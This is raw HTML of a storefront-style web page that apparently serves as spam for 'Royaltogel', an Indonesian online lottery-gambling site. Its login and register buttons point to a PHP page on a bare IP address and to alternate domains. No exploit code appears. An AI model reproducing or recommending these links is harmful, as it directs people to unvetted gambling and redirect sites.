tweak-product-quick-view-button-style-floating tweak-product-quick-view-button-position-bottom tweak-product-quick-view-lightbox-excerpt-display-truncate tweak-product-quick-view-lightbox-show-arrows tweak-product-quick-view-lightbox-show-close-button tweak-product-quick-view-lightbox-controls-weight-light native-currency-code-idr view-item collection-layout-default collection-66b95adac9ceb6413cc211c8 collection-type-products mobile-style-available sqs-seven-one
      
        
          
          
        
      
    " tabindex="-1">
    <div id="siteWrapper" class="clearfix site-wrapper">





















        <header data-test="header" id="header" class="
      
        
      
      header theme-col--primary
    " data-section-theme="" data-controller="Header" data-current-styles="{
&quot;layout&quot;: &quot;brandingCenter&quot;,
&quot;action&quot;: {
&quot;buttonText&quot;: &quot;Get Started&quot;,
&quot;newWindow&quot;: false
},
&quot;showSocial&quot;: false,
&quot;socialOptions&quot;: {
&quot;socialBorderShape&quot;: &quot;none&quot;,
&quot;socialBorderStyle&quot;: &quot;outline&quot;,
&quot;socialBorderThickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 1.0
}
},
&quot;menuOverlayAnimation&quot;: &quot;fade&quot;,
&quot;cartStyle&quot;: &quot;cart&quot;,
&quot;cartText&quot;: &quot;Cart&quot;,
&quot;showEmptyCartState&quot;: false,
&quot;cartOptions&quot;: {
&quot;iconType&quot;: &quot;solid-1&quot;,
&quot;cartBorderShape&quot;: &quot;none&quot;,
&quot;cartBorderStyle&quot;: &quot;outline&quot;,
&quot;cartBorderThickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 1.0
}
},
&quot;showButton&quot;: true,
&quot;showCart&quot;: true,
&quot;showAccountLogin&quot;: false,
&quot;headerStyle&quot;: &quot;gradient&quot;,
&quot;languagePicker&quot;: {
&quot;enabled&quot;: false,
&quot;iconEnabled&quot;: false,
&quot;iconType&quot;: &quot;globe&quot;,
&quot;flagShape&quot;: &quot;shiny&quot;,
&quot;languageFlags&quot;: [ ]
},
&quot;mobileOptions&quot;: {
&quot;layout&quot;: &quot;logoLeftNavRight&quot;,
&quot;menuIcon&quot;: &quot;doubleLineHamburger&quot;,
&quot;menuIconOptions&quot;: {
&quot;style&quot;: &quot;doubleLineHamburger&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 1.0
}
}
},
&quot;dynamicOptions&quot;: {
&quot;border&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
}
},
&quot;solidOptions&quot;: {
&quot;headerOpacity&quot;: {
&quot;unit&quot;: &quot;%&quot;,
&quot;value&quot;: 100.0
},
&quot;border&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
},
&quot;dropShadow&quot;: {
&quot;enabled&quot;: false,
&quot;blur&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 30.0
},
&quot;spread&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
},
&quot;distance&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
}
},
&quot;blurBackground&quot;: {
&quot;enabled&quot;: false,
&quot;blurRadius&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
}
},
&quot;gradientOptions&quot;: {
&quot;gradientType&quot;: &quot;faded&quot;,
&quot;headerOpacity&quot;: {
&quot;unit&quot;: &quot;%&quot;,
&quot;value&quot;: 90.0
},
&quot;border&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
},
&quot;dropShadow&quot;: {
&quot;enabled&quot;: false,
&quot;blur&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
},
&quot;spread&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
},
&quot;distance&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;blurBackground&quot;: {
&quot;enabled&quot;: false,
&quot;blurRadius&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;backgroundColor&quot;: {
&quot;type&quot;: &quot;CUSTOM_COLOR&quot;,
&quot;customColor&quot;: {
&quot;hslaValue&quot;: {
&quot;hue&quot;: 164.24,
&quot;saturation&quot;: 1.0,
&quot;lightness&quot;: 0.5,
&quot;alpha&quot;: 1.0
},
&quot;userFormat&quot;: &quot;rgb&quot;
}
}
},
&quot;dropShadowOptions&quot;: {
&quot;enabled&quot;: false,
&quot;blur&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
},
&quot;spread&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
},
&quot;distance&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;borderOptions&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
},
&quot;showPromotedElement&quot;: false,
&quot;buttonVariant&quot;: &quot;primary&quot;,
&quot;blurBackground&quot;: {
&quot;enabled&quot;: false,
&quot;blurRadius&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;headerOpacity&quot;: {
&quot;unit&quot;: &quot;%&quot;,
&quot;value&quot;: 90.0
}
}" data-section-id="header" data-header-style="gradient" data-language-picker="{
&quot;enabled&quot;: false,
&quot;iconEnabled&quot;: false,
&quot;iconType&quot;: &quot;globe&quot;,
&quot;flagShape&quot;: &quot;shiny&quot;,
&quot;languageFlags&quot;: [ ]
}" data-first-focusable-element tabindex="-1" style="
      
        
        
      
      
      
      
        --gradientHeaderBackgroundColor: #249cff;
      
      
    ">

            <div class="sqs-announcement-bar-dropzone"></div>

            <div class="header-announcement-bar-wrapper">

                <a href="#page" class="header-skip-link sqs-button-element--primary">
                    Skip to Content
                </a>



                <style>
                @supports (-webkit-backdrop-filter: none) or (backdrop-filter: none) {
                    .header-blur-background {


                        -webkit-backdrop-filter: blur(12px);
                        backdrop-filter: blur(12px);

                    }
                }
                </style>
                <div class="header-border" data-header-style="gradient" data-header-usability-enabled="true"
                    data-header-border="false" data-test="header-border" style="




  
    border-width: 0px !important;
  





  



"></div>
                <div class="header-dropshadow" data-header-style="gradient" data-header-usability-enabled="true"
                    data-header-dropshadow="false" data-test="header-dropshadow" style="


  
"></div>

                <div>
                    <div class="header-background-gradient" data-header-style="gradient" data-gradient-type="faded"
                        data-test="header-background-gradient" style="opacity: calc(90 * .01)"></div>
                </div>



                <div class='header-inner container--fluid
        
          header-layout--with-commerce
        
        
        
        header-mobile-layout-logo-left-nav-right
        
        
        
        
        
        
        
        
        
        header-layout-branding-center
        
        
        
        
        
        ' style="




  
    padding: 0;
  





" data-test="header-inner">
                    <!-- Background -->
                    <div class="header-background theme-bg--primary"></div>

                    <div class="header-display-desktop" data-content-field="site-title">















                        <style>
                        .top-bun,
                        .patty,
                        .bottom-bun {
                            height: 1px;
                        }
                        </style>

                        <!-- Burger -->
                        <div class="header-burger

  menu-overlay-has-visible-non-navigation-items


  
" data-animation-role="header-element">
                            <button class="header-burger-btn burger" data-test="header-burger">
                                <span hidden class="js-header-burger-open-title visually-hidden">Open Menu</span>
                                <span hidden class="js-header-burger-close-title visually-hidden">Close Menu</span>
                                <div class="burger-box">
                                    <div class="burger-inner header-menu-icon-doubleLineHamburger">
                                        <div class="top-bun"></div>
                                        <div class="patty"></div>
                                        <div class="bottom-bun"></div>
                                    </div>
                                </div>
                            </button>
                        </div>


                        <!-- Social -->



                        <!-- Title and nav wrapper -->
                        <div class="header-title-nav-wrapper">






                            <!-- Nav -->
                            <div class="header-nav">
                                <div class="header-nav-wrapper">
                                    <nav class="header-nav-list">




                                        <div
                                            class="header-nav-item header-nav-item--collection header-nav-item--active">
                                            <a href="http://188.166.181.224:888/royal/agengacor88.php"
                                                data-animation-role="header-element" aria-current="page">
                                                Link Alternatif Royaltogel
                                            </a>
                                        </div>






                                    </nav>
                                </div>
                            </div>


                            <!-- Title -->

                            <div class="
                      header-title
                      
                    " data-animation-role="header-element">

                                <div class="header-title-text">
                                    <a> <img src="https://143.198.202.75/royaltogel/logo-royaltogel.png"
                                            alt="logo royaltogel" width="300px"></a>
                                </div>


                            </div>



                        </div>


                        <!-- Actions -->
                        <div class="header-actions header-actions--right">
                            <div class="showOnMobile">
                                <div class="header-actions-action header-actions-action--cart">
                                    <a href="/cart"
                                        class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart  header-icon  cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline">
                                        <span class="Cart-inner">
                                            <svg class="icon icon--cart" width="96" height="144" viewBox="0 0 96 144">
                                                <path fill-rule="evenodd" clip-rule="evenodd"
                                                    d="M2 0C0.895432 0 0 0.895431 0 2V141.999C0 143.104 0.895428 143.999 2 143.999H94C95.1046 143.999 96 143.104 96 141.999V2C96 0.895431 95.1046 0 94 0H76C74.8954 0 74 0.895431 74 2V32.9993C74 34.1038 73.1046 34.9993 72 34.9993H59C59 34.9993 59 32.0005 58 32.001C49.799 32.0049 43.5 32.0028 38 32C37 31.9995 37 34.9993 37 34.9993H24C22.8954 34.9993 22 34.1038 22 32.9993V2C22 0.895431 21.1046 0 20 0H2ZM33.7353 95.9276C33.1614 96.9271 32.9892 97.8496 33.2953 98.3686C33.6014 98.8876 34.4625 99.2143 35.6104 99.1951H40.9937V103.366H35.6104C32.932 103.366 30.7699 102.309 29.6985 100.445C28.6272 98.5801 28.7993 96.1774 30.1385 93.8324L35.8208 83.9526L34.4243 83.1454L39.5514 81.5885L40.7568 86.8166L39.4176 86.0478L33.7353 95.9276ZM51.375 71.7855C50.801 70.786 50.0932 70.1902 49.5001 70.1902C48.907 70.1902 48.199 70.786 47.625 71.7855L44.9238 76.723L41.327 74.6278L44.0282 69.6905C45.3674 67.3455 47.3765 66 49.5001 66C51.6237 66 53.6326 67.3455 54.9718 69.6905L60.673 79.6278L57.0762 81.723L51.375 71.7855ZM62.0313 78.8591L60.826 84.0872L55.6988 82.5303L62.0313 78.8591ZM66.1792 89.9719L68.8615 93.8517C70.2007 96.1967 70.3728 98.5993 69.3015 100.483C68.2301 102.348 66.0872 103.405 63.3896 103.405H52.0063V105L48.1033 101.329L52.0063 97.6574V99.2336H63.3896C64.5375 99.2336 65.3986 98.9068 65.7047 98.3879C66.0108 97.8497 65.8386 96.9462 65.2647 95.9467L62.5824 92.0671L66.1792 89.9719Z" />
                                            </svg>
                                            <div class="icon-cart-quantity">
                                                <span class="cart-quantity-container">
                                                    <span class="sqs-cart-quantity">0</span>
                                                </span>
                                            </div>
                                        </span>
                                    </a>
                                </div>
                            </div>
                            <div class="showOnDesktop">
                                <div class="header-actions-action header-actions-action--cart">
                                    <a href="/cart"
                                        class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart  header-icon  cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline">
                                        <span class="Cart-inner">
                                            <svg class="icon icon--cart" width="96" height="144" viewBox="0 0 96 144">
                                                <path fill-rule="evenodd" clip-rule="evenodd"
                                                    d="M2 0C0.895432 0 0 0.895431 0 2V141.999C0 143.104 0.895428 143.999 2 143.999H94C95.1046 143.999 96 143.104 96 141.999V2C96 0.895431 95.1046 0 94 0H76C74.8954 0 74 0.895431 74 2V32.9993C74 34.1038 73.1046 34.9993 72 34.9993H59C59 34.9993 59 32.0005 58 32.001C49.799 32.0049 43.5 32.0028 38 32C37 31.9995 37 34.9993 37 34.9993H24C22.8954 34.9993 22 34.1038 22 32.9993V2C22 0.895431 21.1046 0 20 0H2ZM33.7353 95.9276C33.1614 96.9271 32.9892 97.8496 33.2953 98.3686C33.6014 98.8876 34.4625 99.2143 35.6104 99.1951H40.9937V103.366H35.6104C32.932 103.366 30.7699 102.309 29.6985 100.445C28.6272 98.5801 28.7993 96.1774 30.1385 93.8324L35.8208 83.9526L34.4243 83.1454L39.5514 81.5885L40.7568 86.8166L39.4176 86.0478L33.7353 95.9276ZM51.375 71.7855C50.801 70.786 50.0932 70.1902 49.5001 70.1902C48.907 70.1902 48.199 70.786 47.625 71.7855L44.9238 76.723L41.327 74.6278L44.0282 69.6905C45.3674 67.3455 47.3765 66 49.5001 66C51.6237 66 53.6326 67.3455 54.9718 69.6905L60.673 79.6278L57.0762 81.723L51.375 71.7855ZM62.0313 78.8591L60.826 84.0872L55.6988 82.5303L62.0313 78.8591ZM66.1792 89.9719L68.8615 93.8517C70.2007 96.1967 70.3728 98.5993 69.3015 100.483C68.2301 102.348 66.0872 103.405 63.3896 103.405H52.0063V105L48.1033 101.329L52.0063 97.6574V99.2336H63.3896C64.5375 99.2336 65.3986 98.9068 65.7047 98.3879C66.0108 97.8497 65.8386 96.9462 65.2647 95.9467L62.5824 92.0671L66.1792 89.9719Z" />
                                            </svg>
                                            <div class="icon-cart-quantity">
                                                <span class="cart-quantity-container">
                                                    <span class="sqs-cart-quantity">0</span>
                                                </span>
                                            </div>
                                        </span>
                                    </a>
                                </div>
                            </div>
                            <div class="header-actions-action header-actions-action--cta"
                                data-animation-role="header-element">
                                <a class="btn btn--border theme-btn--primary-inverse sqs-button-element--primary"
                                    href="https://oog.eu.com/">
                                    Situs Royaltogel
                                </a>
                            </div>
                        </div>
                    </div>
                    <div class="header-display-mobile" data-content-field="site-title">
                        <!-- Social -->
                        <!-- Title and nav wrapper -->
                        <div class="header-title-nav-wrapper">
                            <!-- Nav -->
                            <div class="header-nav">
                                <div class="header-nav-wrapper">
                                    <nav class="header-nav-list">
                                        <div
                                            class="header-nav-item header-nav-item--collection header-nav-item--active">
                                            <a href="https://oog.eu.com/" data-animation-role="header-element"
                                                aria-current="page">
                                                Link Alternatif Royaltogel
                                            </a>
                                        </div>
                                    </nav>
                                </div>
                            </div>
                            <!-- Title -->
                            <div class="header-title" data-animation-role="header-element">
                                <div class="header-title-text">
                                    <a id="site-title" href="/" data-animation-role="header-element">ROYALTOGEL » Link
                                        Login
                                        Alternatif Bandar Togel Hongkong 4D Gacor #1 2025</a>
                                </div>
                            </div>
                        </div>
                        <!-- Actions -->
                        <div class="header-actions header-actions--right">
                            <div class="showOnMobile">
                                <div class="header-actions-action header-actions-action--cart">
                                    <a href="/cart"
                                        class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart  header-icon  cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline">
                                        <span class="Cart-inner">
                                            <svg class="icon icon--cart" width="96" height="144" viewBox="0 0 96 144">
                                                <path fill-rule="evenodd" clip-rule="evenodd"
                                                    d="M2 0C0.895432 0 0 0.895431 0 2V141.999C0 143.104 0.895428 143.999 2 143.999H94C95.1046 143.999 96 143.104 96 141.999V2C96 0.895431 95.1046 0 94 0H76C74.8954 0 74 0.895431 74 2V32.9993C74 34.1038 73.1046 34.9993 72 34.9993H59C59 34.9993 59 32.0005 58 32.001C49.799 32.0049 43.5 32.0028 38 32C37 31.9995 37 34.9993 37 34.9993H24C22.8954 34.9993 22 34.1038 22 32.9993V2C22 0.895431 21.1046 0 20 0H2ZM33.7353 95.9276C33.1614 96.9271 32.9892 97.8496 33.2953 98.3686C33.6014 98.8876 34.4625 99.2143 35.6104 99.1951H40.9937V103.366H35.6104C32.932 103.366 30.7699 102.309 29.6985 100.445C28.6272 98.5801 28.7993 96.1774 30.1385 93.8324L35.8208 83.9526L34.4243 83.1454L39.5514 81.5885L40.7568 86.8166L39.4176 86.0478L33.7353 95.9276ZM51.375 71.7855C50.801 70.786 50.0932 70.1902 49.5001 70.1902C48.907 70.1902 48.199 70.786 47.625 71.7855L44.9238 76.723L41.327 74.6278L44.0282 69.6905C45.3674 67.3455 47.3765 66 49.5001 66C51.6237 66 53.6326 67.3455 54.9718 69.6905L60.673 79.6278L57.0762 81.723L51.375 71.7855ZM62.0313 78.8591L60.826 84.0872L55.6988 82.5303L62.0313 78.8591ZM66.1792 89.9719L68.8615 93.8517C70.2007 96.1967 70.3728 98.5993 69.3015 100.483C68.2301 102.348 66.0872 103.405 63.3896 103.405H52.0063V105L48.1033 101.329L52.0063 97.6574V99.2336H63.3896C64.5375 99.2336 65.3986 98.9068 65.7047 98.3879C66.0108 97.8497 65.8386 96.9462 65.2647 95.9467L62.5824 92.0671L66.1792 89.9719Z" />
                                            </svg>
                                            <div class="icon-cart-quantity">
                                                <span class="cart-quantity-container">
                                                    <span class="sqs-cart-quantity">0</span>
                                                </span>
                                            </div>
                                        </span>
                                    </a>
                                </div>
                            </div>
                            <div class="showOnDesktop">
                                <div class="header-actions-action header-actions-action--cart">
                                    <a href="/cart"
                                        class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart  header-icon  cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline">
                                        <span class="Cart-inner">
                                            <svg class="icon icon--cart" width="96" height="144" viewBox="0 0 96 144">
                                                <path fill-rule="evenodd" clip-rule="evenodd"
                                                    d="M2 0C0.895432 0 0 0.895431 0 2V141.999C0 143.104 0.895428 143.999 2 143.999H94C95.1046 143.999 96 143.104 96 141.999V2C96 0.895431 95.1046 0 94 0H76C74.8954 0 74 0.895431 74 2V32.9993C74 34.1038 73.1046 34.9993 72 34.9993H59C59 34.9993 59 32.0005 58 32.001C49.799 32.0049 43.5 32.0028 38 32C37 31.9995 37 34.9993 37 34.9993H24C22.8954 34.9993 22 34.1038 22 32.9993V2C22 0.895431 21.1046 0 20 0H2ZM33.7353 95.9276C33.1614 96.9271 32.9892 97.8496 33.2953 98.3686C33.6014 98.8876 34.4625 99.2143 35.6104 99.1951H40.9937V103.366H35.6104C32.932 103.366 30.7699 102.309 29.6985 100.445C28.6272 98.5801 28.7993 96.1774 30.1385 93.8324L35.8208 83.9526L34.4243 83.1454L39.5514 81.5885L40.7568 86.8166L39.4176 86.0478L33.7353 95.9276ZM51.375 71.7855C50.801 70.786 50.0932 70.1902 49.5001 70.1902C48.907 70.1902 48.199 70.786 47.625 71.7855L44.9238 76.723L41.327 74.6278L44.0282 69.6905C45.3674 67.3455 47.3765 66 49.5001 66C51.6237 66 53.6326 67.3455 54.9718 69.6905L60.673 79.6278L57.0762 81.723L51.375 71.7855ZM62.0313 78.8591L60.826 84.0872L55.6988 82.5303L62.0313 78.8591ZM66.1792 89.9719L68.8615 93.8517C70.2007 96.1967 70.3728 98.5993 69.3015 100.483C68.2301 102.348 66.0872 103.405 63.3896 103.405H52.0063V105L48.1033 101.329L52.0063 97.6574V99.2336H63.3896C64.5375 99.2336 65.3986 98.9068 65.7047 98.3879C66.0108 97.8497 65.8386 96.9462 65.2647 95.9467L62.5824 92.0671L66.1792 89.9719Z" />
                                            </svg>
                                            <div class="icon-cart-quantity">
                                                <span class="cart-quantity-container">
                                                    <span class="sqs-cart-quantity">0</span>
                                                </span>
                                            </div>
                                        </span>
                                    </a>
                                </div>
                            </div>
                            <div class="header-actions-action header-actions-action--cta"
                                data-animation-role="header-element">
                                <a class="btn btn--border theme-btn--primary-inverse sqs-button-element--primary"
                                    href="https://oog.eu.com/">
                                    Situs Royaltogel
                                </a>
                            </div>
                        </div>
                        <style>
                        .top-bun,
                        .patty,
                        .bottom-bun {
                            height: 1px;
                        }
                        </style>
                        <!-- Burger -->
                        <div class="header-burger menu-overlay-has-visible-non-navigation-items"
                            data-animation-role="header-element">
                            <button class="header-burger-btn burger" data-test="header-burger">
                                <span hidden class="js-header-burger-open-title visually-hidden">Open Menu</span>
                                <span hidden class="js-header-burger-close-title visually-hidden">Close Menu</span>
                                <div class="burger-box">
                                    <div class="burger-inner header-menu-icon-doubleLineHamburger">
                                        <div class="top-bun"></div>
                                        <div class="patty"></div>
                                        <div class="bottom-bun"></div>
                                    </div>
                                </div>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <!-- (Mobile) Menu Navigation -->
            <div class="header-menu header-menu--folder-list" data-section-theme="" data-current-styles="{
&quot;layout&quot;: &quot;brandingCenter&quot;,
&quot;action&quot;: {
&quot;buttonText&quot;: &quot;Get Started&quot;,
&quot;newWindow&quot;: false
},
&quot;showSocial&quot;: false,
&quot;socialOptions&quot;: {
&quot;socialBorderShape&quot;: &quot;none&quot;,
&quot;socialBorderStyle&quot;: &quot;outline&quot;,
&quot;socialBorderThickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 1.0
}
},
&quot;menuOverlayAnimation&quot;: &quot;fade&quot;,
&quot;cartStyle&quot;: &quot;cart&quot;,
&quot;cartText&quot;: &quot;Cart&quot;,
&quot;showEmptyCartState&quot;: false,
&quot;cartOptions&quot;: {
&quot;iconType&quot;: &quot;solid-1&quot;,
&quot;cartBorderShape&quot;: &quot;none&quot;,
&quot;cartBorderStyle&quot;: &quot;outline&quot;,
&quot;cartBorderThickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 1.0
}
},
&quot;showButton&quot;: true,
&quot;showCart&quot;: true,
&quot;showAccountLogin&quot;: false,
&quot;headerStyle&quot;: &quot;gradient&quot;,
&quot;languagePicker&quot;: {
&quot;enabled&quot;: false,
&quot;iconEnabled&quot;: false,
&quot;iconType&quot;: &quot;globe&quot;,
&quot;flagShape&quot;: &quot;shiny&quot;,
&quot;languageFlags&quot;: [ ]
},
&quot;mobileOptions&quot;: {
&quot;layout&quot;: &quot;logoLeftNavRight&quot;,
&quot;menuIcon&quot;: &quot;doubleLineHamburger&quot;,
&quot;menuIconOptions&quot;: {
&quot;style&quot;: &quot;doubleLineHamburger&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 1.0
}
}
},
&quot;dynamicOptions&quot;: {
&quot;border&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
}
},
&quot;solidOptions&quot;: {
&quot;headerOpacity&quot;: {
&quot;unit&quot;: &quot;%&quot;,
&quot;value&quot;: 100.0
},
&quot;border&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
},
&quot;dropShadow&quot;: {
&quot;enabled&quot;: false,
&quot;blur&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 30.0
},
&quot;spread&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
},
&quot;distance&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
}
},
&quot;blurBackground&quot;: {
&quot;enabled&quot;: false,
&quot;blurRadius&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
}
},
&quot;gradientOptions&quot;: {
&quot;gradientType&quot;: &quot;faded&quot;,
&quot;headerOpacity&quot;: {
&quot;unit&quot;: &quot;%&quot;,
&quot;value&quot;: 90.0
},
&quot;border&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
},
&quot;dropShadow&quot;: {
&quot;enabled&quot;: false,
&quot;blur&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
},
&quot;spread&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
},
&quot;distance&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;blurBackground&quot;: {
&quot;enabled&quot;: false,
&quot;blurRadius&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;backgroundColor&quot;: {
&quot;type&quot;: &quot;CUSTOM_COLOR&quot;,
&quot;customColor&quot;: {
&quot;hslaValue&quot;: {
&quot;hue&quot;: 164.24,
&quot;saturation&quot;: 1.0,
&quot;lightness&quot;: 0.5,
&quot;alpha&quot;: 1.0
},
&quot;userFormat&quot;: &quot;rgb&quot;
}
}
},
&quot;dropShadowOptions&quot;: {
&quot;enabled&quot;: false,
&quot;blur&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
},
&quot;spread&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 0.0
},
&quot;distance&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;borderOptions&quot;: {
&quot;enabled&quot;: false,
&quot;position&quot;: &quot;allSides&quot;,
&quot;thickness&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 4.0
}
},
&quot;showPromotedElement&quot;: false,
&quot;buttonVariant&quot;: &quot;primary&quot;,
&quot;blurBackground&quot;: {
&quot;enabled&quot;: false,
&quot;blurRadius&quot;: {
&quot;unit&quot;: &quot;px&quot;,
&quot;value&quot;: 12.0
}
},
&quot;headerOpacity&quot;: {
&quot;unit&quot;: &quot;%&quot;,
&quot;value&quot;: 90.0
}
}" data-section-id="overlay-nav" data-show-account-login="false" data-test="header-menu">
                <div class="header-menu-bg theme-bg--primary"></div>
                <div class="header-menu-nav">
                    <nav class="header-menu-nav-list">
                        <div data-folder="root" class="header-menu-nav-folder">
                            <div class="header-menu-nav-folder-content">
                                <!-- Menu Navigation -->
                                <div class="header-menu-nav-wrapper">
                                    <div
                                        class="container header-menu-nav-item header-menu-nav-item--collection header-menu-nav-item--active">
                                        <a href="https://oog.eu.com/" aria-current="page">
                                            <div class="header-menu-nav-item-content">
                                                Link Alternatif Royaltogel
                                            </div>
                                        </a>
                                    </div>
                                </div>
                            </div>
                            <div class="header-menu-cta">
                                <a class="theme-btn--primary btn sqs-button-element--primary"
                                    href="https://oog.eu.com/">
                                    Situs Royaltogel
                                </a>
                            </div>
                        </div>
                    </nav>
                </div>
            </div>
        </header>
        <main id="page" class="container" role="main">
            <article class="sections" id="sections" data-page-sections="66b95adac9ceb6413cc211c9">
                <section data-test="page-section" data-section-theme="" class='page-section content-collection full-bleed-section
      collection-type-products
    
    background-width--full-bleed
    
      section-height--medium
    
    
      content-width--wide
    
    horizontal-alignment--center
    vertical-alignment--middle
    
      
    
    
    ' data-section-id="66b95bc69370de383fb0d59f" data-controller="SectionWrapperController" data-current-styles="{
&quot;imageOverlayOpacity&quot;: 0.15,
&quot;backgroundWidth&quot;: &quot;background-width--full-bleed&quot;,
&quot;sectionHeight&quot;: &quot;section-height--medium&quot;,
&quot;customSectionHeight&quot;: 10,
&quot;horizontalAlignment&quot;: &quot;horizontal-alignment--center&quot;,
&quot;verticalAlignment&quot;: &quot;vertical-alignment--middle&quot;,
&quot;contentWidth&quot;: &quot;content-width--wide&quot;,
&quot;customContentWidth&quot;: 50,
&quot;backgroundColor&quot;: &quot;&quot;,
&quot;sectionTheme&quot;: &quot;&quot;,
&quot;sectionAnimation&quot;: &quot;none&quot;,
&quot;backgroundMode&quot;: &quot;image&quot;
}" data-current-context="{
&quot;video&quot;: null,
&quot;backgroundImageId&quot;: null,
&quot;backgroundMediaEffect&quot;: null,
&quot;divider&quot;: null,
&quot;typeName&quot;: &quot;products&quot;
}" data-animation="none">
                    <div class="section-border">
                        <div class="section-background">



                        </div>
                    </div>
                    <div class='content-wrapper' style='
      
      
    '>
                        <div class="content">

                            <div class="n-columns-2">
                                <a href="http://188.166.181.224:888/royal/agengacor88.php" rel="nofollow noreferrer"
                                    class="login">DAFTAR</a>
                                <a href="http://188.166.181.224:888/royal/agengacor88.php" rel="nofollow noreferrer"
                                    class="register">MASUK</a>
                            </div>





                            <section id="pdp" class="
    products
    collection-content-wrapper
    product-layout-side-by-side
  ">








                                <article class="ProductItem hentry author-yakuza-gaming post-type-store-item"
                                    data-item-id="66b95add08a6f91ec7b9602e">



                                    <section class="ProductItem-summary" data-controller="ProductGallery">
                                        <section aria-label="Gallery" class="ProductItem-gallery"
                                            data-product-gallery="container">


                                            <div class="ProductItem-gallery-slides" data-animation-role="image"
                                                data-product-gallery="slides">



                                                <div class="ProductItem-gallery-slides-item" data-slide-index="1"
                                                    data-image-id=66b95b440fa3ab1b1dce0346 data-controller="ImageZoom"
                                                    data-slide-url="https://oog.eu.com/"
                                                    data-product-gallery="slides-item" data-test="pdp-gallery-slide">
                                                    <img aria-describedby="ProductItem-gallery-slides-item-1-index-66b95b440fa3ab1b1dce0346"
                                                        class="ProductItem-gallery-slides-item-image" data-load="false"
                                                        data-src="https://oog.eu.com/promo-royaltogel.jpg"
                                                        data-image="https://oog.eu.com/promo-royaltogel.jpg"
                                                        data-image-dimensions="600x600" data-image-focal-point="0.5,0.5"
                                                        alt="royaltogel" elementtiming="nbf-products-gallery" />
                                                    <span
                                                        id="ProductItem-gallery-slides-item-1-index-66b95b440fa3ab1b1dce0346"
                                                        style="display: none;">
                                                        Image 1 of
                                                    </span>
                                                    <div class="product-image-zoom-duplicate" aria-hidden="true">
                                                        <img data-load="false"
                                                            data-src="https://oog.eu.com/promo-royaltogel.jpg"
                                                            data-image="https://oog.eu.com/promo-royaltogel.jpg"
                                                            data-image-dimensions="600x600"
                                                            data-image-focal-point="0.5,0.5" alt="royaltogel"
                                                            elementtiming="nbf-products-gallery-zoom" />
                                                    </div>
                                                </div>



